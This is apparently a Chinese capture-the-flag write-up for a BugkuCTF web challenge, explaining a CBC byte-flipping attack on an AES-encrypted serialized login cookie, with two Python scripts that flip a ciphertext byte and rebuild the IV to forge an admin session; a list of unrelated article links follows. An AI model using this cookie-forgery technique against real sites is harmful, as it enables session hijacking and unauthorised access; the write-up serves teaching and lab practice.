}if(isset($_POST['username']) && isset($_POST['password'])){$username = (string)$_POST['username'];$password = (string)$_POST['password'];if($username === 'admin'){exit('<p>admin are not allowed to login</p>');}else{$info = array('username'=>$username,'password'=>$password);login($info);show_homepage();}
}else{if(isset($_SESSION["username"])){check_login();show_homepage();}else{...html code...}
}
?>

进行代码审计,可以看到要想获得flag需要以admin的身份登陆,但是又禁止了直接用admin登录,但是是通过获取cookie中的值来判断是否为admin,所以就需要利用cookie伪造登录。

这里把登录的用户名及其密码存入数组,序列化后进行AES-CBC模式的加密,其中iv和cipher以cookie储存,可以控制,导致存在攻击的可能,即利用CBC字节翻转攻击。

在CBC模式下,加密过程中前一块的密文会用来产生后一块的密文,解密过程中前一块的密文会用来产生下一块明文。

这样如上图所示,如果我们改变前一块密文的一个字节,当它被用来与下一块密文解密后的值进行异或时,就会影响原来的那一个字节,从而修改了解密后明文的一个字节。

在这一题中,我们可以先注册一个用户名为Admin的用户,得到如下序列化串:

a:2:{s:8:"username";s:5:"Admin";s:8:"password";s:5:"Lethe";}

然后进行分组,根据iv可知16字节为一组:

a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:5:"Lethe";}

我们要做的就是利用CBC字节翻转攻击将这里的A修改为a,即第二块偏移量为9的位置,对应的我们需要修改第一块相同偏移位置的值,从而使异或后的值为A。

from urllib.parse import *
from base64 import *cipher = unquote('5xk%2Fxj9S6VwrA1440izsIdOT5JkK%2FyyM4%2BVy8dHSegZO6I5jBESTxFltBW9d7qxSacEzFhXDKvo7qSG85dzAPQ%3D%3D')cipher = b64decode(cipher).decode('unicode_escape')cipher = cipher[:9] + chr(ord(cipher[9]) ^ ord('A') ^ ord('a')) + cipher[10:]print(quote(b64encode(cipher.encode('latin-1')).decode()))

将得到的值url编码一些修改为cipher的值得到:

这里还有一个问题,我们为了修改A,修改了第一块分组,这样反序列化就会失败,因此我们必须还得保证第一块分组不变,这可以通过修改iv来实现。

from urllib.parse import *
from base64 import *
# 新页面得到的iv
iv = unquote('pW4LieJ5j8bVoEFMORTYPA%3D%3D')
# 回显的plain值
plain = 'VxqqyZUYQyfs7WUL/CM2TW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IkxldGhlIjt9'plain = b64decode(plain).decode('unicode_escape')
iv = b64decode(iv).decode('unicode_escape')right = 'a:2:{s:8:"userna'newiv = ''
for i in range(16):newiv += chr(ord(right[i]) ^ ord(iv[i]) ^ ord(plain[i]))print(quote(b64encode(newiv.encode('latin-1')).decode()))

将得到的值修改为iv,刷新页面得到flag:

BugkuCTF Writeup——Web相关推荐

  1. BugkuCTF writeup

    BugkuCTF writeup 前言 web方面 web2 计算器 web基础$_GET web基础$_POST 矛盾 web3 域名解析 你必须让他停下 本地包含 变量1 web5 头等舱 网站被 ...

  2. BugkuCTF之web题之细心

    BugkuCTF之web题之细心 一进网页发现: 这是啥????(黑人问号)一脸的懵逼,查看源代码?发现几个链接欸,点了几下发现,然并卵...发现提示找不到文件,那好吧,就一个一个来试试,试到robo ...

  3. CTF-练习平台 writeup web

    bugku Web WriteUp 刚刚接触ctf没多久,做ctf-练习平台上的题目,有些新的题目,在网上没有找到对应的writeup,所以做了之后就想自己写一个,也顺便理理自己的思路.(没有太多经验 ...

  4. Bugku-CTF (web 持续更新) ——新手ctf记录

    目录 1.滑稽 2.计算器 3.GET 4.POST GET和POST的区别: 5.矛盾 6.alert 7.你必须让他停下 8.game1 9.网站被黑 10.本地管理员 X-Forwarded-F ...

  5. 南京邮电大学网络攻防平台WriteUP——WEB(上)

    前言 南京邮电大学网络攻防平台(http://ctf.nuptsast.com/)是一个集合了WEB.MISC.密码学.PWN.逆向的一个CTF训练平台,对于初次涉及ctf小伙伴来说是非常不错的一个训 ...

  6. 攻防世界writeup——Web(持续更新)

    文章目录 ics-06(XCTF 4th-CyberEarth) NewsCenter( XCTF 4th-QCTF-2018) lottery(XCTF 4th-QCTF-2018) NaNNaNN ...

  7. php scrscriptipt,HCTF 2016 writeup——web篇

    做了5个web题,分享一下思路.. Level-1 1. 2099年的flag 打开链接,提示需要ios99才能得到flag,源码的注释中提示要POST,那么就修改User-Agent头为ios的头, ...

  8. HCTF writeup(web)

    蓝冰 · 2014/11/29 16:47 丘比龙的最爱 10pt 传说,丘比龙是丘比特的弟弟,丘比龙是一只小爱神,虽然有两只翅膀,但因为吃多了,导致身体太胖,所以飞不起来~那么问题来了?!丘比龙吃什 ...

  9. write-up web source

    题目: 打开网址查看源代码发现了一个假的flag,根据提示说只用Linux环境,猜测用kali解决 在kali中首先使用dirsearch命令扫描目录,命令如下: 得到结果: 发现.git泄露,于是利 ...

最新文章

  1. 【Joomla】K2 Item 页面添加 Module
  2. 黄聪:Microsoft Enterprise Library 5.0 系列教程(九) Policy Injection Application Block
  3. IE6中PNG图片背景无法透明显示的最佳解决方案
  4. AVPlayer 之avcore模块
  5. redis基本操作和在springboot中的使用
  6. 【Android Developers Training】 6. 配置Action Bar
  7. python爬虫登录有验证码_大神教你用Python爬虫模拟登录带验证码网站
  8. mysql数据库+ssh框架_SSH框架+Mysql数据库开发java web会员积分消费管理系统
  9. 给后辈的一点建议,面试建议
  10. 计算机网络(八)-数据链路层-帧封装
  11. ARM学习篇 中断定时理解
  12. 分享200个App移动端模板
  13. 张家界3天旅游攻略(带你的想象给我游玩一遍)
  14. 计算机和工业设计哪个就业前景大,工业设计专业就业前景
  15. OBS Studio安装教程以及录制等详细配置
  16. 关于.Net与J2EE的比较,到底用微软平台还是Java平台的问题
  17. 深入探讨分类模型评价指标
  18. 用python制作条形图时出现“posx and posy should be finite values”问题的解决方法
  19. tableau数据分析及可视化——(电影票房以及酒店价格分析)(内含 tableau项目分析的十几种数据源)
  20. 深入理解生产则消费者模型

热门文章

  1. 在小程序上实现汉字的拼音提取首字母
  2. html中字体纹理效果,CSS3 文本特效 - 浮雕(雕刻)纹理
  3. Feature-Preserving Ultrasound Speckle Reduction via L0 Minimization
  4. log4j与sl4j
  5. vmware所需要的端口
  6. Python,设计一个游戏,游戏会随机数字,让你猜。
  7. 成功预测到了球赛胜负?使用Python来采集球员信息
  8. 量化交易的操作类型有哪些?
  9. 嵌入式作业STM32定时器实现串口通信及LED灯闪烁
  10. c程序兼容多个linux,个人项目-WC(C/C++ 兼容Linux和Windows)